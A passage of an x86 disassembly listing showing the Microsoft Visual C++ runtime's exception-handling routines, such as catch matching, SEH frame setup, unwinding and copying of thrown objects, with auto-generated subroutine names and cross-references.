eax, 0FFFFFFFCh mov dword_48A088, eax jl short loc_41CBD5 cmp eax, ebx jge short loc_41CBD5 test cl, cl jz short loc_41CBC6 loc_41CBBC: ; CODE XREF: sub_41CB4F+72j mov al, [esi] inc esi test al, al jnz short loc_41CBBC and [esi-2], al loc_41CBC6: ; CODE XREF: sub_41CB4F+6Bj push ebx push [ebp+arg_4] push edi call sub_41CC11 add esp, 0Ch jmp short loc_41CBE5 ; --------------------------------------------------------------------------- loc_41CBD5: ; CODE XREF: sub_41CB4F+63j ; sub_41CB4F+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_41CBEA add esp, 10h loc_41CBE5: ; CODE XREF: sub_41CB4F+84j pop edi pop esi pop ebx pop ebp retn sub_41CB4F endp ; =============== S U B R O U T I N E ======================================= sub_41CBEA proc near ; CODE XREF: sub_41CB4F+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_48A084, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C96D and byte_48A084, 0 add esp, 10h retn sub_41CBEA endp ; =============== S U B R O U T I N E ======================================= sub_41CC11 proc near ; CODE XREF: sub_41CB4F+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_48A084, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41CA71 and byte_48A084, 0 add esp, 0Ch retn sub_41CC11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC34 proc near ; CODE XREF: sub_419E38+3AAp ; DATA XREF: sub_417D8Bo ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_41CC6F cmp [ebp+arg_8], 45h jz short loc_41CC6F cmp [ebp+arg_8], 66h jnz short loc_41CC5C push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41CA71 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_41CC5C: ; CODE XREF: sub_41CC34+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41CB4F jmp short loc_41CC80 ; --------------------------------------------------------------------------- loc_41CC6F: ; CODE XREF: sub_41CC34+7j ; sub_41CC34+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41C96D loc_41CC80: ; CODE XREF: sub_41CC34+39j add esp, 10h pop ebp retn sub_41CC34 endp ; =============== S U B R O U T I N E ======================================= sub_41CC85 proc near ; CODE XREF: sub_41C96D+2Cp ; sub_41CA71+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_41CCA8 push esi mov esi, [esp+8+arg_0] push esi call sub_417AB0 inc eax push eax push esi add esi, edi push esi call sub_4182C0 add esp, 10h pop esi loc_41CCA8: ; CODE XREF: sub_41CC85+7j pop edi retn sub_41CC85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CCAA proc near ; CODE XREF: ___:00417F6Cp ; sub_417FD5+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_41CCC0 call sub_41D552 loc_41CCC0: ; CODE XREF: sub_41CCAA+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_41CCE8 cmp dword ptr [esi+4], 0 jz short loc_41CD3E cmp [ebp+arg_14], 0 jnz short loc_41CD3E push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_41CFF1 add esp, 10h jmp short loc_41CD3E ; --------------------------------------------------------------------------- loc_41CCE8: ; CODE XREF: sub_41CCAA+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_41CD3E cmp dword ptr [eax], 0E06D7363h jnz short loc_41CD22 cmp [eax+14h], edi jbe short loc_41CD22 mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_41CD22 movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_41CD41 ; --------------------------------------------------------------------------- loc_41CD22: ; CODE XREF: sub_41CCAA+4Aj ; sub_41CCAA+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_41CD45 add esp, 20h loc_41CD3E: ; CODE XREF: sub_41CCAA+23j ; sub_41CCAA+29j ... push 1 pop eax loc_41CD41: ; CODE XREF: sub_41CCAA+76j pop edi pop esi pop ebp retn sub_41CCAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CD45 proc near ; CODE XREF: sub_41CCAA+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_41CD65 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_41CD6A loc_41CD65: ; CODE XREF: sub_41CD45+16j call sub_41D552 loc_41CD6A: ; CODE XREF: sub_41CD45+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_41CEC1 cmp dword ptr [esi+10h], 3 jnz short loc_41CDDE cmp [esi+14h], edi jnz short loc_41CDDE cmp dword ptr [esi+1Ch], 0 jnz short loc_41CDDE mov esi, dword_48A090 test esi, esi jz loc_41CEBC mov eax, dword_48A094 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_4208D2 pop ecx test eax, eax pop ecx jnz short loc_41CDC0 call sub_41D552 loc_41CDC0: ; CODE XREF: sub_41CD45+74j cmp [esi], ebx jnz loc_41CEC1 cmp dword ptr [esi+10h], 3 jnz short loc_41CDDE cmp [esi+14h], edi jnz short loc_41CDDE cmp dword ptr [esi+1Ch], 0 jnz short loc_41CDDE call sub_41D552 loc_41CDDE: ; CODE XREF: sub_41CD45+41j ; sub_41CD45+46j ... cmp [esi], ebx jnz loc_41CEC1 cmp dword ptr [esi+10h], 3 jnz loc_41CEC1 cmp [esi+14h], edi jnz loc_41CEC1 mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_418123 add esp, 14h mov ebx, eax loc_41CE15: ; CODE XREF: sub_41CD45+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_41CEAC cmp [ebx], edi jg short loc_41CEA1 cmp edi, [ebx+4] jg short loc_41CEA1 mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_41CE9E loc_41CE3A: ; CODE XREF: sub_41CD45+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_41CE6B loc_41CE4C: ; CODE XREF: sub_41CD45+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_41CF94 add esp, 0Ch test eax, eax jnz short loc_41CE7A dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_41CE4C loc_41CE6B: ; CODE XREF: sub_41CD45+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_41CE3A jmp short loc_41CE9E ; --------------------------------------------------------------------------- loc_41CE7A: ; CODE XREF: sub_41CD45+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41D0A5 ; --------------------------------------------------------------------------- add esp, 2Ch loc_41CE9E: ; CODE XREF: sub_41CD45+F3j ; sub_41CD45+133j mov edi, [ebp+var_10] loc_41CEA1: ; CODE XREF: sub_41CD45+DEj ; sub_41CD45+E3j inc [ebp+var_4] add ebx, 14h jmp loc_41CE15 ; --------------------------------------------------------------------------- loc_41CEAC: ; CODE XREF: sub_41CD45+D6j cmp [ebp+arg_14], 0 jz short loc_41CEBC push 1 push esi call sub_41D41A pop ecx pop ecx loc_41CEBC: ; CODE XREF: sub_41CD45+56j ; sub_41CD45+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41CEC1: ; CODE XREF: sub_41CD45+37j ; sub_41CD45+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_41CEE7 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41CEEC add esp, 20h jmp short loc_41CEBC ; --------------------------------------------------------------------------- loc_41CEE7: ; CODE XREF: sub_41CD45+180j jmp sub_41D4FC sub_41CD45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CEEC proc near ; CODE XREF: sub_41CD45+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_48A098, 0 push esi push edi jz short loc_41CF1D push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_417FFA add esp, 1Ch test eax, eax jnz short loc_41CF90 loc_41CF1D: ; CODE XREF: sub_41CEEC+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_418123 add esp, 14h mov esi, eax loc_41CF39: ; CODE XREF: sub_41CEEC+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_41CF90 cmp edi, [esi] jl short loc_41CF88 cmp edi, [esi+4] jg short loc_41CF88 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_41CF62 cmp byte ptr [ecx+8], 0 jnz short loc_41CF88 loc_41CF62: ; CODE XREF: sub_41CEEC+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41D0A5 ; --------------------------------------------------------------------------- add esp, 2Ch loc_41CF88: ; CODE XREF: sub_41CEEC+57j ; sub_41CEEC+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_41CF39 ; --------------------------------------------------------------------------- loc_41CF90: ; CODE XREF: sub_41CEEC+2Fj ; sub_41CEEC+53j pop edi pop esi leave retn sub_41CEEC endp ; =============== S U B R O U T I N E ======================================= sub_41CF94 proc near ; CODE XREF: sub_41CD45+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_41CFEB cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_41CFEB mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_41CFC5 add ecx, 8 push ecx push edx call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41CFE7 loc_41CFC5: ; CODE XREF: sub_41CF94+1Fj test byte ptr [esi], 2 jz short loc_41CFCF test byte ptr [edi], 8 jz short loc_41CFE7 loc_41CFCF: ; CODE XREF: sub_41CF94+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_41CFDE test byte ptr [edi], 1 jz short loc_41CFE7 loc_41CFDE: ; CODE XREF: sub_41CF94+43j test al, 2 jz short loc_41CFEB test byte ptr [edi], 2 jnz short loc_41CFEB loc_41CFE7: ; CODE XREF: sub_41CF94+2Fj ; sub_41CF94+39j ... xor eax, eax jmp short loc_41CFEE ; --------------------------------------------------------------------------- loc_41CFEB: ; CODE XREF: sub_41CF94+Bj ; sub_41CF94+14j ... push 1 pop eax loc_41CFEE: ; CODE XREF: sub_41CF94+55j pop edi pop esi retn sub_41CF94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CFF1 proc near ; CODE XREF: sub_41CCAA+34p ; ___:0041D0E7p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424860 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_41D023: ; CODE XREF: sub_41CFF1+8Aj cmp esi, [ebp+arg_C] jz short loc_41D07D cmp esi, 0FFFFFFFFh jle short loc_41D032 cmp esi, [edi+4] jl short loc_41D037 loc_41D032: ; CODE XREF: sub_41CFF1+3Aj call sub_41D552 loc_41D037: ; CODE XREF: sub_41CFF1+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_41D052 push 103h push ebx push eax call sub_41D4B0 loc_41D052: ; CODE XREF: sub_41CFF1+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_41D072 ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_41D08F pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_41D072: ; CODE XREF: sub_41CFF1+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_41D023 ; --------------------------------------------------------------------------- loc_41D07D: ; CODE XREF: sub_41CFF1+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41CFF1 endp ; =============== S U B R O U T I N E ======================================= sub_41D08F proc near ; CODE XREF: sub_41CFF1+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_41D0A0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_41D0A0: ; CODE XREF: sub_41D08F+Cj jmp sub_41D4FC sub_41D08F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41D0A5 proc near ; CODE XREF: sub_41CD45+151p ; sub_41CEEC+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_41D0C7 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_41D256 add esp, 10h loc_41D0C7: ; CODE XREF: sub_41D0A5+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_41D0D3 push edi jmp short loc_41D0D6 ; --------------------------------------------------------------------------- loc_41D0D3: ; CODE XREF: sub_41D0A5+29j push [ebp+arg_24] loc_41D0D6: ; CODE XREF: sub_41D0A5+2Cj call sub_417EFC sub_41D0A5 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_41CFF1 mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_41D120 add esp, 2Ch test eax, eax jz short loc_41D11B push edi push eax call sub_417EBA loc_41D11B: ; CODE XREF: ___:0041D112j pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D120 proc near ; CODE XREF: ___:0041D108p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424870 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_48A090 mov [ebp+var_1C], ecx mov ecx, dword_48A094 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_48A090, edi mov ecx, [ebp+arg_8] mov dword_48A094, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_417F81 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_41D1E6 mov eax, [ebp+var_2C] loc_41D1AD: ; CODE XREF: sub_41D1C6+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D120 endp ; =============== S U B R O U T I N E ======================================= sub_41D1BC proc near ; DATA XREF: ___:00424880o push dword ptr [ebp-14h] call sub_41D22C pop ecx retn sub_41D1BC endp ; =============== S U B R O U T I N E ======================================= sub_41D1C6 proc near ; DATA XREF: ___:00424884o mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_4181E2 pop ecx pop ecx xor eax, eax jmp short loc_41D1AD sub_41D1C6 endp ; --------------------------------------------------------------------------- loc_41D1DE: ; DATA XREF: ___:00424878o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_41D1E6 proc near ; CODE XREF: sub_41D120+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_48A090, eax mov eax, [ebp-20h] mov dword_48A094, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_41D22B cmp dword ptr [edi+10h], 3 jnz short locret_41D22B cmp dword ptr [edi+14h], 19930520h jnz short locret_41D22B cmp [ebp-24h], ebx jnz short locret_41D22B cmp [ebp-2Ch], ebx jz short locret_41D22B call sub_41824A push eax push edi call sub_41D41A pop ecx pop ecx locret_41D22B: ; CODE XREF: sub_41D1E6+1Cj ; sub_41D1E6+22j ... retn sub_41D1E6 endp ; =============== S U B R O U T I N E ======================================= sub_41D22C proc near ; CODE XREF: sub_41D1BC+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_41D253 cmp dword ptr [eax+10h], 3 jnz short loc_41D253 cmp dword ptr [eax+14h], 19930520h jnz short loc_41D253 cmp dword ptr [eax+1Ch], 0 jnz short loc_41D253 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41D253: ; CODE XREF: sub_41D22C+Cj ; sub_41D22C+12j ... xor eax, eax retn sub_41D22C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D256 proc near ; CODE XREF: sub_41D0A5+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424888 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_41D3FF cmp byte ptr [eax+8], 0 jz loc_41D3FF mov eax, [ecx+8] test eax, eax jz loc_41D3FF mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_41D2F3 mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_4208D2 pop ecx pop ecx test eax, eax jz loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz loc_41D3F6 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_41D2E4: ; CODE XREF: sub_41D256+F5j push eax call sub_41D481 pop ecx pop ecx mov [edi], eax jmp loc_41D3FB ; --------------------------------------------------------------------------- loc_41D2F3: ; CODE XREF: sub_41D256+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_41D34D mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_4208D2 pop ecx pop ecx test eax, eax jz loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz loc_41D3F6 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_4182C0 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_41D3FB mov eax, [edi] test eax, eax jz loc_41D3FB add esi, 8 push esi jmp short loc_41D2E4 ; --------------------------------------------------------------------------- loc_41D34D: ; CODE XREF: sub_41D256+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_41D395 call sub_4208D2 pop ecx pop ecx test eax, eax jz loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz short loc_41D3F6 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_41D481 pop ecx pop ecx push eax push edi call sub_4182C0 add esp, 0Ch jmp short loc_41D3FB ; --------------------------------------------------------------------------- loc_41D395: ; CODE XREF: sub_41D256+103j call sub_4208D2 pop ecx pop ecx test eax, eax jz short loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz short loc_41D3F6 push dword ptr [esi+18h] call sub_42090A pop ecx test eax, eax jz short loc_41D3F6 test byte ptr [esi], 4 jz short loc_41D3DC push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41D481 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_417EF5 jmp short loc_41D3FB ; --------------------------------------------------------------------------- loc_41D3DC: ; CODE XREF: sub_41D256+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41D481 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_417EEE jmp short loc_41D3FB ; --------------------------------------------------------------------------- loc_41D3F6: ; CODE XREF: sub_41D256+6Aj ; sub_41D256+7Cj ... call sub_41D552 loc_41D3FB: ; CODE XREF: sub_41D256+98j ; sub_41D256+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_41D3FF: ; CODE XREF: sub_41D256+2Ej ; sub_41D256+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D256 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41D4FC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D41A proc near ; CODE XREF: sub_41CD45+170p ; sub_41D1E6+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424898 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_41D461 mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_41D461 and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_417EEE or [ebp+var_4], 0FFFFFFFFh loc_41D461: ; CODE XREF: sub_41D41A+2Aj ; sub_41D41A+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D41A endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41D4FC ; =============== S U B R O U T I N E ======================================= sub_41D481 proc near ; CODE XREF: sub_41D256+8Fp ; sub_41D256+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_41D4A2 mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_41D4A2: ; CODE XREF: sub_41D481+12j pop esi retn sub_41D481 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D4B0 proc near ; CODE XREF: sub_417F81+40p ; sub_41CFF1+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41826D push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_41D4EF mov ecx, 2 loc_41D4EF: ; CODE XREF: sub_41D4B0+38j push ecx call sub_41826D pop ebp pop ecx pop ebx leave retn 0Ch sub_41D4B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D4FC proc near ; CODE XREF: sub_41CD45:loc_41CEE7j ; sub_41D08F:loc_41D0A0j ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00420922 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4248A8 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_48A09C test eax, eax jz short loc_41D544 mov [ebp+var_4], 1 call eax jmp short loc_41D540 ; --------------------------------------------------------------------------- loc_41D539: ; DATA XREF: ___:004248B8o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41D53D: ; DATA XREF: ___:004248BCo mov esp, [ebp+var_18] loc_41D540: ; CODE XREF: sub_41D4FC+3Bj and [ebp+var_4], 0 loc_41D544: ; CODE XREF: sub_41D4FC+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41D54D: ; DATA XREF: ___:004248B0o jmp loc_420922 sub_41D4FC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D552 proc near ; CODE XREF: sub_418123+23p ; sub_418123:loc_41818Ep ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4248C0 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43B924 test eax, eax jz short loc_41D59A mov [ebp+var_4], 1 call eax ; sub_41D4FC jmp short loc_41D596 ; --------------------------------------------------------------------------- loc_41D58F: ; DATA XREF: ___:004248D0o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41D593: ; DATA XREF: ___:004248D4o mov esp, [ebp+var_18] loc_41D596: ; CODE XREF: sub_41D552+3Bj and [ebp+var_4], 0 loc_41D59A: ; CODE XREF: sub_41D552+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41D5A3: ; DATA XREF: ___:004248C8o jmp sub_41D4FC sub_41D552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D5A8 proc near ; CODE XREF: sub_418603+7p ; sub_418603+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_48B688 push esi cmp eax, 3 jnz short loc_41D5D1 mov esi, [ebp+arg_0] push esi call sub_41AD89 test eax, eax pop ecx jz short loc_41D5CE mov eax, [esi-4] sub eax, 9 jmp short loc_41D606 ; --------------------------------------------------------------------------- loc_41D5CE: ; CODE XREF: 